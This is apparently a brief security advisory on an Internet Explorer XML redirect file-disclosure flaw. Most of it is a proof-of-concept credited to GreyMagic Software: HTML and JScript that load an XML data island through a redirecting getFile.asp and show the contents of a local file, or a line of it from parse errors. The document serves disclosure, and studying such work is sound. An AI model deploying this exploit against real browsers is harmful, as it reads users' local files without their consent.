Microsoft Internet Explorer XML Redirect File Disclosure Vulnerability

Microsoft Internet Explorer XML Redirect File Disclosure Vulnerability

The following proof of concept was provided by GreyMagic Software <security@greymagic.com>:

<script language="xml" src="getFile.asp" id="oFile"></script>
<script language="jscript">
onload=function () {
var oXD=oFile.XMLDocument,
oPE=oXD.parseError;

alert(
oXD.firstChild || oPE.line>0 ?
"File found!\n"+
"Details:\n\n"+
(oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'")
:
"File does not exist or could not be retrieved."
);
}
</script>